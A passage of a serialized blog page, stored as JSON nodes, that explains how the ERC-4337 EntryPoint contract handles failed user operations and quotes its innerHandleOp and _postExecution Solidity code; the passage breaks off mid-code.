",{"type":23,"tag":71,"props":107319,"children":107321},{"className":107320},[],[107322],{"type":29,"value":107323},"success",{"type":29,"value":7840},{"type":23,"tag":71,"props":107326,"children":107328},{"className":107327},[],[107329],{"type":29,"value":10510},{"type":29,"value":107331},"), the code enters an ",{"type":23,"tag":181,"props":107333,"children":107336},{"href":107334,"rel":107335},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[185],[107337],{"type":29,"value":107338},"error handling",{"type":29,"value":107340}," flow that checks the ",{"type":23,"tag":71,"props":107342,"children":107344},{"className":107343},[],[107345],{"type":29,"value":107346},"innerRevertCode",{"type":29,"value":107348},". There are three possible paths:",{"type":23,"tag":144,"props":107350,"children":107351},{},[107352,107376,107394],{"type":23,"tag":102,"props":107353,"children":107354},{},[107355,107356,107361,107362,107368,107370,107375],{"type":29,"value":9816},{"type":23,"tag":71,"props":107357,"children":107359},{"className":107358},[],[107360],{"type":29,"value":107346},{"type":29,"value":7840},{"type":23,"tag":71,"props":107363,"children":107365},{"className":107364},[],[107366],{"type":29,"value":107367},"INNER_OUT_OF_GAS",{"type":29,"value":107369},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":23,"tag":71,"props":107371,"children":107373},{"className":107372},[],[107374],{"type":29,"value":107019},{"type":29,"value":312},{"type":23,"tag":102,"props":107377,"children":107378},{},[107379,107380,107385,107386,107392],{"type":29,"value":9816},{"type":23,"tag":71,"props":107381,"children":107383},{"className":107382},[],[107384],{"type":29,"value":107346},{"type":29,"value":7840},{"type":23,"tag":71,"props":107387,"children":107389},{"className":107388},[],[107390],{"type":29,"value":107391},"INNER_REVERT_LOW_PREFUND",{"type":29,"value":107393},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":23,"tag":102,"props":107395,"children":107396},{},[107397,107399,107405,107407,107413],{"type":29,"value":107398},"For any other revert reason, the code will still call ",{"type":23,"tag":71,"props":107400,"children":107402},{"className":107401},[],[107403],{"type":29,"value":107404},"_postExecution()",{"type":29,"value":107406}," but with ",{"type":23,"tag":71,"props":107408,"children":107410},{"className":107409},[],[107411],{"type":29,"value":107412},"PostOpMode.postOpReverted",{"type":29,"value":107414},". This ensures proper cleanup happens even on failure.",{"type":23,"tag":32,"props":107416,"children":107417},{},[107418,107420,107425,107427,107432,107434,107439,107441,107446],{"type":29,"value":107419},"We're particularly interested in the third error path, where ",{"type":23,"tag":71,"props":107421,"children":107423},{"className":107422},[],[107424],{"type":29,"value":107346},{"type":29,"value":107426}," is neither ",{"type":23,"tag":71,"props":107428,"children":107430},{"className":107429},[],[107431],{"type":29,"value":107367},{"type":29,"value":107433}," nor ",{"type":23,"tag":71,"props":107435,"children":107437},{"className":107436},[],[107438],{"type":29,"value":107391},{"type":29,"value":107440},". To understand this case better, let's examine how ",{"type":23,"tag":71,"props":107442,"children":107444},{"className":107443},[],[107445],{"type":29,"value":107302},{"type":29,"value":107447}," works.",{"type":23,"tag":220,"props":107449,"children":107451},{"className":6813,"code":107450,"language":6812,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[107452],{"type":23,"tag":71,"props":107453,"children":107454},{"__ignoreMap":7},[107455,107471,107492,107512,107528,107561,107568,107585,107609,107649,107668,107693,107727,107751,107768,107776,107784,107792,107800,107808,107815,107828,107845,107852,107859,107866,107877,107916,107932,107939],{"type":23,"tag":230,"props":107456,"children":107457},{"class":232,"line":233},[107458,107462,107467],{"type":23,"tag":230,"props":107459,"children":107460},{"style":256},[107461],{"type":29,"value":91610},{"type":23,"tag":230,"props":107463,"children":107464},{"style":294},[107465],{"type":29,"value":107466}," innerHandleOp",{"type":23,"tag":230,"props":107468,"children":107469},{"style":274},[107470],{"type":29,"value":619},{"type":23,"tag":230,"props":107472,"children":107473},{"class":232,"line":243},[107474,107479,107483,107488],{"type":23,"tag":230,"props":107475,"children":107476},{"style":676},[107477],{"type":29,"value":107478},"        bytes",{"type":23,"tag":230,"props":107480,"children":107481},{"style":256},[107482],{"type":29,"value":104859},{"type":23,"tag":230,"props":107484,"children":107485},{"style":262},[107486],{"type":29,"value":107487}," callData",{"type":23,"tag":230,"props":107489,"children":107490},{"style":274},[107491],{"type":29,"value":388},{"type":23,"tag":230,"props":107493,"children":107494},{"class":232,"line":252},[107495,107499,107503,107508],{"type":23,"tag":230,"props":107496,"children":107497},{"style":256},[107498],{"type":29,"value":106519},{"type":23,"tag":230,"props":107500,"children":107501},{"style":256},[107502],{"type":29,"value":104859},{"type":23,"tag":230,"props":107504,"children":107505},{"style":262},[107506],{"type":29,"value":107507}," opInfo",{"type":23,"tag":230,"props":107509,"children":107510},{"style":274},[107511],{"type":29,"value":388},{"type":23,"tag":230,"props":107513,"children":107514},{"class":232,"line":280},[107515,107519,107523],{"type":23,"tag":230,"props":107516,"children":107517},{"style":676},[107518],{"type":29,"value":107478},{"type":23,"tag":230,"props":107520,"children":107521},{"style":256},[107522],{"type":29,"value":104791},{"type":23,"tag":230,"props":107524,"children":107525},{"style":262},[107526],{"type":29,"value":107527}," context\n",{"type":23,"tag":230,"props":107529,"children":107530},{"class":232,"line":334},[107531,107536,107541,107545,107549,107553,107557],{"type":23,"tag":230,"props":107532,"children":107533},{"style":274},[107534],{"type":29,"value":107535},"    ) ",{"type":23,"tag":230,"props":107537,"children":107538},{"style":256},[107539],{"type":29,"value":107540},"external",{"type":23,"tag":230,"props":107542,"children":107543},{"style":866},[107544],{"type":29,"value":77772},{"type":23,"tag":230,"props":107546,"children":107547},{"style":274},[107548],{"type":29,"value":664},{"type":23,"tag":230,"props":107550,"children":107551},{"style":676},[107552],{"type":29,"value":47939},{"type":23,"tag":230,"props":107554,"children":107555},{"style":262},[107556],{"type":29,"value":105600},{"type":23,"tag":230,"props":107558,"children":107559},{"style":274},[107560],{"type":29,"value":827},{"type":23,"tag":230,"props":107562,"children":107563},{"class":232,"line":371},[107564],{"type":23,"tag":230,"props":107565,"children":107566},{"style":274},[107567],{"type":29,"value":106580},{"type":23,"tag":230,"props":107569,"children":107570},{"class":232,"line":391},[107571,107576,107580],{"type":23,"tag":230,"props":107572,"children":107573},{"style":274},[107574],{"type":29,"value":107575},"        IPaymaster.PostOpMode mode ",{"type":23,"tag":230,"props":107577,"children":107578},{"style":268},[107579],{"type":29,"value":863},{"type":23,"tag":230,"props":107581,"children":107582},{"style":274},[107583],{"type":29,"value":107584}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":23,"tag":230,"props":107586,"children":107587},{"class":232,"line":400},[107588,107592,107597,107601,107605],{"type":23,"tag":230,"props":107589,"children":107590},{"style":866},[107591],{"type":29,"value":5611},{"type":23,"tag":230,"props":107593,"children":107594},{"style":274},[107595],{"type":29,"value":107596}," (callData.length ",{"type":23,"tag":230,"props":107598,"children":107599},{"style":268},[107600],{"type":29,"value":12792},{"type":23,"tag":230,"props":107602,"children":107603},{"style":5149},[107604],{"type":29,"value":5386},{"type":23,"tag":230,"props":107606,"children":107607},{"style":274},[107608],{"type":29,"value":827},{"type":23,"tag":230,"props":107610,"children":107611},{"class":232,"line":444},[107612,107617,107622,107626,107631,107635,107640,107644],{"type":23,"tag":230,"props":107613,"children":107614},{"style":676},[107615],{"type":29,"value":107616},"            bool",{"type":23,"tag":230,"props":107618,"children":107619},{"style":274},[107620],{"type":29,"value":107621}," success ",{"type":23,"tag":230,"props":107623,"children":107624},{"style":268},[107625],{"type":29,"value":863},{"type":23,"tag":230,"props":107627,"children":107628},{"style":274},[107629],{"type":29,"value":107630}," Exec.",{"type":23,"tag":230,"props":107632,"children":107633},{"style":294},[107634],{"type":29,"value":2985},{"type":23,"tag":230,"props":107636,"children":107637},{"style":274},[107638],{"type":29,"value":107639},"(mUserOp.sender, ",{"type":23,"tag":230,"props":107641,"children":107642},{"style":5149},[107643],{"type":29,"value":6358},{"type":23,"tag":230,"props":107645,"children":107646},{"style":274},[107647],{"type":29,"value":107648},", callData, callGasLimit);\n",{"type":23,"tag":230,"props":107650,"children":107651},{"class":232,"line":453},[107652,107656,107660,107664],{"type":23,"tag":230,"props":107653,"children":107654},{"style":866},[107655],{"type":29,"value":60575},{"type":23,"tag":230,"props":107657,"children":107658},{"style":274},[107659],{"type":29,"value":664},{"type":23,"tag":230,"props":107661,"children":107662},{"style":268},[107663],{"type":29,"value":22936},{"type":23,"tag":230,"props":107665,"children":107666},{"style":274},[107667],{"type":29,"value":106952},{"type":23,"tag":230,"props":107669,"children":107670},{"class":232,"line":462},[107671,107675,107680,107684,107689],{"type":23,"tag":230,"props":107672,"children":107673},{"style":676},[107674],{"type":29,"value":105239},{"type":23,"tag":230,"props":107676,"children":107677},{"style":274},[107678],{"type":29,"value":107679}," freePtr ",{"type":23,"tag":230,"props":107681,"children":107682},{"style":268},[107683],{"type":29,"value":863},{"type":23,"tag":230,"props":107685,"children":107686},{"style":294},[107687],{"type":29,"value":107688}," _getFreePtr",{"type":23,"tag":230,"props":107690,"children":107691},{"style":274},[107692],{"type":29,"value":2140},{"type":23,"tag":230,"props":107694,"children":107695},{"class":232,"line":471},[107696,107700,107704,107709,107713,107717,107722],{"type":23,"tag":230,"props":107697,"children":107698},{"style":676},[107699],{"type":29,"value":106636},{"type":23,"tag":230,"props":107701,"children":107702},{"style":256},[107703],{"type":29,"value":104859},{"type":23,"tag":230,"props":107705,"children":107706},{"style":274},[107707],{"type":29,"value":107708}," result ",{"type":23,"tag":230,"props":107710,"children":107711},{"style":268},[107712],{"type":29,"value":863},{"type":23,"tag":230,"props":107714,"children":107715},{"style":274},[107716],{"type":29,"value":107630},{"type":23,"tag":230,"props":107718,"children":107719},{"style":294},[107720],{"type":29,"value":107721},"getReturnData",{"type":23,"tag":230,"props":107723,"children":107724},{"style":274},[107725],{"type":29,"value":107726},"(REVERT_REASON_MAX_LEN);\n",{"type":23,"tag":230,"props":107728,"children":107729},{"class":232,"line":500},[107730,107734,107739,107743,107747],{"type":23,"tag":230,"props":107731,"children":107732},{"style":866},[107733],{"type":29,"value":105299},{"type":23,"tag":230,"props":107735,"children":107736},{"style":274},[107737],{"type":29,"value":107738}," (result.length ",{"type":23,"tag":230,"props":107740,"children":107741},{"style":268},[107742],{"type":29,"value":12792},{"type":23,"tag":230,"props":107744,"children":107745},{"style":5149},[107746],{"type":29,"value":5386},{"type":23,"tag":230,"props":107748,"children":107749},{"style":274},[107750],{"type":29,"value":827},{"type":23,"tag":230,"props":107752,"children":107753},{"class":232,"line":514},[107754,107759,107764],{"type":23,"tag":230,"props":107755,"children":107756},{"style":866},[107757],{"type":29,"value":107758},"                    emit",{"type":23,"tag":230,"props":107760,"children":107761},{"style":294},[107762],{"type":29,"value":107763}," UserOperationRevertReason",{"type":23,"tag":230,"props":107765,"children":107766},{"style":274},[107767],{"type":29,"value":619},{"type":23,"tag":230,"props":107769,"children":107770},{"class":232,"line":897},[107771],{"type":23,"tag":230,"props":107772,"children":107773},{"style":274},[107774],{"type":29,"value":107775},"                        opInfo.userOpHash,\n",{"type":23,"tag":230,"props":107777,"children":107778},{"class":232,"line":960},[107779],{"type":23,"tag":230,"props":107780,"children":107781},{"style":274},[107782],{"type":29,"value":107783},"                        mUserOp.sender,\n",{"type":23,"tag":230,"props":107785,"children":107786},{"class":232,"line":969},[107787],{"type":23,"tag":230,"props":107788,"children":107789},{"style":274},[107790],{"type":29,"value":107791},"                        mUserOp.nonce,\n",{"type":23,"tag":230,"props":107793,"children":107794},{"class":232,"line":4526},[107795],{"type":23,"tag":230,"props":107796,"children":107797},{"style":274},[107798],{"type":29,"value":107799},"                        result\n",{"type":23,"tag":230,"props":107801,"children":107802},{"class":232,"line":4534},[107803],{"type":23,"tag":230,"props":107804,"children":107805},{"style":274},[107806],{"type":29,"value":107807},"                    );\n",{"type":23,"tag":230,"props":107809,"children":107810},{"class":232,"line":4542},[107811],{"type":23,"tag":230,"props":107812,"children":107813},{"style":274},[107814],{"type":29,"value":72848},{"type":23,"tag":230,"props":107816,"children":107817},{"class":232,"line":4559},[107818,107823],{"type":23,"tag":230,"props":107819,"children":107820},{"style":294},[107821],{"type":29,"value":107822},"                _restoreFreePtr",{"type":23,"tag":230,"props":107824,"children":107825},{"style":274},[107826],{"type":29,"value":107827},"(freePtr);\n",{"type":23,"tag":230,"props":107829,"children":107830},{"class":232,"line":4587},[107831,107836,107840],{"type":23,"tag":230,"props":107832,"children":107833},{"style":274},[107834],{"type":29,"value":107835},"                mode ",{"type":23,"tag":230,"props":107837,"children":107838},{"style":268},[107839],{"type":29,"value":863},{"type":23,"tag":230,"props":107841,"children":107842},{"style":274},[107843],{"type":29,"value":107844}," IPaymaster.PostOpMode.opReverted;\n",{"type":23,"tag":230,"props":107846,"children":107847},{"class":232,"line":4595},[107848],{"type":23,"tag":230,"props":107849,"children":107850},{"style":274},[107851],{"type":29,"value":60659},{"type":23,"tag":230,"props":107853,"children":107854},{"class":232,"line":4619},[107855],{"type":23,"tag":230,"props":107856,"children":107857},{"style":274},[107858],{"type":29,"value":5686},{"type":23,"tag":230,"props":107860,"children":107861},{"class":232,"line":4627},[107862],{"type":23,"tag":230,"props":107863,"children":107864},{"emptyLinePlaceholder":18},[107865],{"type":29,"value":459},{"type":23,"tag":230,"props":107867,"children":107868},{"class":232,"line":4659},[107869,107873],{"type":23,"tag":230,"props":107870,"children":107871},{"style":866},[107872],{"type":29,"value":104895},{"type":23,"tag":230,"props":107874,"children":107875},{"style":274},[107876],{"type":29,"value":277},{"type":23,"tag":230,"props":107878,"children":107879},{"class":232,"line":4671},[107880,107884,107888,107892,107896,107900,107904,107908,107912],{"type":23,"tag":230,"props":107881,"children":107882},{"style":676},[107883],{"type":29,"value":104907},{"type":23,"tag":230,"props":107885,"children":107886},{"style":274},[107887],{"type":29,"value":107071},{"type":23,"tag":230,"props":107889,"children":107890},{"style":268},[107891],{"type":29,"value":863},{"type":23,"tag":230,"props":107893,"children":107894},{"style":274},[107895],{"type":29,"value":107080},{"type":23,"tag":230,"props":107897,"children":107898},{"style":268},[107899],{"type":29,"value":6665},{"type":23,"tag":230,"props":107901,"children":107902},{"style":256},[107903],{"type":29,"value":107089},{"type":23,"tag":230,"props":107905,"children":107906},{"style":274},[107907],{"type":29,"value":16370},{"type":23,"tag":230,"props":107909,"children":107910},{"style":268},[107911],{"type":29,"value":6719},{"type":23,"tag":230,"props":107913,"children":107914},{"style":274},[107915],{"type":29,"value":107102},{"type":23,"tag":230,"props":107917,"children":107918},{"class":232,"line":4688},[107919,107923,107927],{"type":23,"tag":230,"props":107920,"children":107921},{"style":866},[107922],{"type":29,"value":80855},{"type":23,"tag":230,"props":107924,"children":107925},{"style":294},[107926],{"type":29,"value":107211},{"type":23,"tag":230,"props":107928,"children":107929},{"style":274},[107930],{"type":29,"value":107931},"(mode, opInfo, context, actualGas);\n",{"type":23,"tag":230,"props":107933,"children":107934},{"class":232,"line":4701},[107935],{"type":23,"tag":230,"props":107936,"children":107937},{"style":274},[107938],{"type":29,"value":5686},{"type":23,"tag":230,"props":107940,"children":107941},{"class":232,"line":4724},[107942],{"type":23,"tag":230,"props":107943,"children":107944},{"style":274},[107945],{"type":29,"value":1552},{"type":23,"tag":32,"props":107947,"children":107948},{},[107949,107951,107956,107958,107963,107965,107971,107973,107979,107981,107986,107988,107998],{"type":29,"value":107950},"We observe that, in the happy path, ",{"type":23,"tag":71,"props":107952,"children":107954},{"className":107953},[],[107955],{"type":29,"value":107302},{"type":29,"value":107957}," is expected to not only execute the actual ",{"type":23,"tag":71,"props":107959,"children":107961},{"className":107960},[],[107962],{"type":29,"value":103961},{"type":29,"value":107964}," call, but also call ",{"type":23,"tag":71,"props":107966,"children":107968},{"className":107967},[],[107969],{"type":29,"value":107970},"_postExecution",{"type":29,"value":107972},". This means that the third failure handling path, which passes ",{"type":23,"tag":71,"props":107974,"children":107976},{"className":107975},[],[107977],{"type":29,"value":107978},"postOpReverted",{"type":29,"value":107980}," as its mode, happens when something goes wrong with the ",{"type":23,"tag":71,"props":107982,"children":107984},{"className":107983},[],[107985],{"type":29,"value":107970},{"type":29,"value":107987}," call ",{"type":23,"tag":2302,"props":107989,"children":107990},{},[107991,107993],{"type":29,"value":107992},"inside ",{"type":23,"tag":71,"props":107994,"children":107996},{"className":107995},[],[107997],{"type":29,"value":107302},{"type":29,"value":312},{"type":23,"tag":32,"props":108000,"children":108001},{},[108002,108004,108009],{"type":29,"value":108003},"Let's examine the ",{"type":23,"tag":71,"props":108005,"children":108007},{"className":108006},[],[108008],{"type":29,"value":107970},{"type":29,"value":108010}," code to understand where the revert might occur.",{"type":23,"tag":220,"props":108012,"children":108014},{"className":6813,"code":108013,"language":6812,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[108015],{"type":23,"tag":71,"props":108016,"children":108017},{"__ignoreMap":7},[108018,108033,108058,108077,108096,108108,108145,108152,108184,108201,108216,108232,108256,108281,108305,108327,108345,108362,108370,108388,108404,108437,108455,108462,108469,108477,108493,108525,108547,108554,108561,108568],{"type":23,"tag":230,"props":108019,"children":108020},{"class":232,"line":233},[108021,108025,108029],{"type":23,"tag":230,"props":108022,"children":108023},{"style":256},[108024],{"type":29,"value":91610},{"type":23,"tag":230,"props":108026,"children":108027},{"style":294},[108028],{"type":29,"value":107211},{"type":23,"tag":230,"props":108030,"children":108031},{"style":274},[108032],{"type":29,"value":619},{"type":23,"tag":230,"props":108034,"children":108035},{"class":232,"line":243},[108036,108041,108045,108049,108054],{"type":23,"tag":230,"props":108037,"children":108038},{"style":256},[108039],{"type":29,"value":108040},"        IPaymaster",{"type":23,"tag":230,"props":108042,"children":108043},{"style":274},[108044],{"type":29,"value":312},{"type":23,"tag":230,"props":108046,"children":108047},{"style":262},[108048],{"type":29,"value":105571},{"type":23,"tag":230,"props":108050,"children":108051},{"style":262},[108052],{"type":29,"value":108053}," mode",{"type":23,"tag":230,"props":108055,"children":108056},{"style":274},[108057],{"type":29,"value":388},{"type":23,"tag":230,"props":108059,"children":108060},{"class":232,"line":252},[108061,108065,108069,108073],{"type":23,"tag":230,"props":108062,"children":108063},{"style":256},[108064],{"type":29,"value":106519},{"type":23,"tag":230,"props":108066,"children":108067},{"style":256},[108068],{"type":29,"value":104859},{"type":23,"tag":230,"props":108070,"children":108071},{"style":262},[108072],{"type":29,"value":107507},{"type":23,"tag":230,"props":108074,"children":108075},{"style":274},[108076],{"type":29,"value":388},{"type":23,"tag":230,"props":108078,"children":108079},{"class":232,"line":280},[108080,108084,108088,108092],{"type":23,"tag":230,"props":108081,"children":108082},{"style":676},[108083],{"type":29,"value":107478},{"type":23,"tag":230,"props":108085,"children":108086},{"style":256},[108087],{"type":29,"value":104859},{"type":23,"tag":230,"props":108089,"children":108090},{"style":262},[108091],{"type":29,"value":78119},{"type":23,"tag":230,"props":108093,"children":108094},{"style":274},[108095],{"type":29,"value":388},{"type":23,"tag":230,"props":108097,"children":108098},{"class":232,"line":334},[108099,108103],{"type":23,"tag":230,"props":108100,"children":108101},{"style":676},[108102],{"type":29,"value":91788},{"type":23,"tag":230,"props":108104,"children":108105},{"style":262},[108106],{"type":29,"value":108107}," actualGas\n",{"type":23,"tag":230,"props":108109,"children":108110},{"class":232,"line":371},[108111,108115,108120,108125,108129,108133,108137,108141],{"type":23,"tag":230,"props":108112,"children":108113},{"style":274},[108114],{"type":29,"value":107535},{"type":23,"tag":230,"props":108116,"children":108117},{"style":256},[108118],{"type":29,"value":108119},"internal",{"type":23,"tag":230,"props":108121,"children":108122},{"style":256},[108123],{"type":29,"value":108124}," virtual",{"type":23,"tag":230,"props":108126,"children":108127},{"style":866},[108128],{"type":29,"value":77772},{"type":23,"tag":230,"props":108130,"children":108131},{"style":274},[108132],{"type":29,"value":664},{"type":23,"tag":230,"props":108134,"children":108135},{"style":676},[108136],{"type":29,"value":47939},{"type":23,"tag":230,"props":108138,"children":108139},{"style":262},[108140],{"type":29,"value":105600},{"type":23,"tag":230,"props":108142,"children":108143},{"style":274},[108144],{"type":29,"value":827},{"type":23,"tag":230,"props":108146,"children":108147},{"class":232,"line":391},[108148],{"type":23,"tag":230,"props":108149,"children":108150},{"style":274},[108151],{"type":29,"value":106580},{"type":23,"tag":230,"props":108153,"children":108154},{"class":232,"line":400},[108155,108159,108164,108168,108172,108176,108180],{"type":23,"tag":230,"props":108156,"children":108157},{"style":866},[108158],{"type":29,"value":60575},{"type":23,"tag":230,"props":108160,"children":108161},{"style":274},[108162],{"type":29,"value":108163}," (paymaster ",{"type":23,"tag":230,"props":108165,"children":108166},{"style":268},[108167],{"type":29,"value":10911},{"type":23,"tag":230,"props":108169,"children":108170},{"style":676},[108171],{"type":29,"value":8587},{"type":23,"tag":230,"props":108173,"children":108174},{"style":274},[108175],{"type":29,"value":302},{"type":23,"tag":230,"props":108177,"children":108178},{"style":5149},[108179],{"type":29,"value":6358},{"type":23,"tag":230,"props":108181,"children":108182},{"style":274},[108183],{"type":29,"value":37480},{"type":23,"tag":230,"props":108185,"children":108186},{"class":232,"line":444},[108187,108192,108196],{"type":23,"tag":230,"props":108188,"children":108189},{"style":274},[108190],{"type":29,"value":108191},"                refundAddress ",{"type":23,"tag":230,"props":108193,"children":108194},{"style":268},[108195],{"type":29,"value":863},{"type":23,"tag":230,"props":108197,"children":108198},{"style":274},[108199],{"type":29,"value":108200}," mUserOp.sender;\n",{"type":23,"tag":230,"props":108202,"children":108203},{"class":232,"line":453},[108204,108208,108212],{"type":23,"tag":230,"props":108205,"children":108206},{"style":274},[108207],{"type":29,"value":72371},{"type":23,"tag":230,"props":108209,"children":108210},{"style":866},[108211],{"type":29,"value":5654},{"type":23,"tag":230,"props":108213,"children":108214},{"style":274},[108215],{"type":29,"value":277},{"type":23,"tag":230,"props":108217,"children":108218},{"class":232,"line":462},[108219,108223,108227],{"type":23,"tag":230,"props":108220,"children":108221},{"style":274},[108222],{"type":29,"value":108191},{"type":23,"tag":230,"props":108224,"children":108225},{"style":268},[108226],{"type":29,"value":863},{"type":23,"tag":230,"props":108228,"children":108229},{"style":274},[108230],{"type":29,"value":108231}," paymaster;\n",{"type":23,"tag":230,"props":108233,"children":108234},{"class":232,"line":471},[108235,108239,108244,108248,108252],{"type":23,"tag":230,"props":108236,"children":108237},{"style":866},[108238],{"type":29,"value":105299},{"type":23,"tag":230,"props":108240,"children":108241},{"style":274},[108242],{"type":29,"value":108243}," (context.length ",{"type":23,"tag":230,"props":108245,"children":108246},{"style":268},[108247],{"type":29,"value":12792},{"type":23,"tag":230,"props":108249,"children":108250},{"style":5149},[108251],{"type":29,"value":5386},{"type":23,"tag":230,"props":108253,"children":108254},{"style":274},[108255],{"type":29,"value":827},{"type":23,"tag":230,"props":108257,"children":108258},{"class":232,"line":500},[108259,108264,108268,108272,108276],{"type":23,"tag":230,"props":108260,"children":108261},{"style":274},[108262],{"type":29,"value":108263},"                    actualGasCost ",{"type":23,"tag":230,"props":108265,"children":108266},{"style":268},[108267],{"type":29,"value":863},{"type":23,"tag":230,"props":108269,"children":108270},{"style":274},[108271],{"type":29,"value":107071},{"type":23,"tag":230,"props":108273,"children":108274},{"style":268},[108275],{"type":29,"value":6909},{"type":23,"tag":230,"props":108277,"children":108278},{"style":274},[108279],{"type":29,"value":108280}," gasPrice;\n",{"type":23,"tag":230,"props":108282,"children":108283},{"class":232,"line":514},[108284,108288,108293,108297,108301],{"type":23,"tag":230,"props":108285,"children":108286},{"style":676},[108287],{"type":29,"value":105256},{"type":23,"tag":230,"props":108289,"children":108290},{"style":274},[108291],{"type":29,"value":108292}," postOpPreGas ",{"type":23,"tag":230,"props":108294,"children":108295},{"style":268},[108296],{"type":29,"value":863},{"type":23,"tag":230,"props":108298,"children":108299},{"style":256},[108300],{"type":29,"value":107089},{"type":23,"tag":230,"props":108302,"children":108303},{"style":274},[108304],{"type":29,"value":2140},{"type":23,"tag":230,"props":108306,"children":108307},{"class":232,"line":897},[108308,108313,108318,108322],{"type":23,"tag":230,"props":108309,"children":108310},{"style":866},[108311],{"type":29,"value":108312},"                    if",{"type":23,"tag":230,"props":108314,"children":108315},{"style":274},[108316],{"type":29,"value":108317}," (mode ",{"type":23,"tag":230,"props":108319,"children":108320},{"style":268},[108321],{"type":29,"value":18013},{"type":23,"tag":230,"props":108323,"children":108324},{"style":274},[108325],{"type":29,"value":108326}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":23,"tag":230,"props":108328,"children":108329},{"class":232,"line":960},[108330,108335,108340],{"type":23,"tag":230,"props":108331,"children":108332},{"style":866},[108333],{"type":29,"value":108334},"                        try",{"type":23,"tag":230,"props":108336,"children":108337},{"style":294},[108338],{"type":29,"value":108339}," IPaymaster",{"type":23,"tag":230,"props":108341,"children":108342},{"style":274},[108343],{"type":29,"value":108344},"(paymaster).postOp{\n",{"type":23,"tag":230,"props":108346,"children":108347},{"class":232,"line":969},[108348,108353,108357],{"type":23,"tag":230,"props":108349,"children":108350},{"style":274},[108351],{"type":29,"value":108352},"                                gas",{"type":23,"tag":230,"props":108354,"children":108355},{"style":268},[108356],{"type":29,"value":218},{"type":23,"tag":230,"props":108358,"children":108359},{"style":274},[108360],{"type":29,"value":108361}," mUserOp.paymasterPostOpGasLimit\n",{"type":23,"tag":230,"props":108363,"children":108364},{"class":232,"line":4526},[108365],{"type":23,"tag":230,"props":108366,"children":108367},{"style":274},[108368],{"type":29,"value":108369},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":23,"tag":230,"props":108371,"children":108372},{"class":232,"line":4534},[108373,108378,108383],{"type":23,"tag":230,"props":108374,"children":108375},{"style":237},[108376],{"type":29,"value":108377},"                        // ",{"type":23,"tag":230,"props":108379,"children":108380},{"style":256},[108381],{"type":29,"value":108382},"solhint-disable",{"type":23,"tag":230,"props":108384,"children":108385},{"style":237},[108386],{"type":29,"value":108387},"-next-line no-empty-blocks\n",{"type":23,"tag":230,"props":108389,"children":108390},{"class":232,"line":4542},[108391,108396,108400],{"type":23,"tag":230,"props":108392,"children":108393},{"style":274},[108394],{"type":29,"value":108395},"                        {} ",{"type":23,"tag":230,"props":108397,"children":108398},{"style":866},[108399],{"type":29,"value":50183},{"type":23,"tag":230,"props":108401,"children":108402},{"style":274},[108403],{"type":29,"value":277},{"type":23,"tag":230,"props":108405,"children":108406},{"class":232,"line":4559},[108407,108412,108416,108421,108425,108429,108433],{"type":23,"tag":230,"props":108408,"children":108409},{"style":676},[108410],{"type":29,"value":108411},"                            bytes",{"type":23,"tag":230,"props":108413,"children":108414},{"style":256},[108415],{"type":29,"value":104859},{"type":23,"tag":230,"props":108417,"children":108418},{"style":274},[108419],{"type":29,"value":108420}," reason ",{"type":23,"tag":230,"props":108422,"children":108423},{"style":268},[108424],{"type":29,"value":863},{"type":23,"tag":230,"props":108426,"children":108427},{"style":274},[108428],{"type":29,"value":107630},{"type":23,"tag":230,"props":108430,"children":108431},{"style":294},[108432],{"type":29,"value":107721},{"type":23,"tag":230,"props":108434,"children":108435},{"style":274},[108436],{"type":29,"value":107726},{"type":23,"tag":230,"props":108438,"children":108439},{"class":232,"line":4587},[108440,108445,108450],{"type":23,"tag":230,"props":108441,"children":108442},{"style":866},[108443],{"type":29,"value":108444},"                            revert",{"type":23,"tag":230,"props":108446,"children":108447},{"style":294},[108448],{"type":29,"value":108449}," 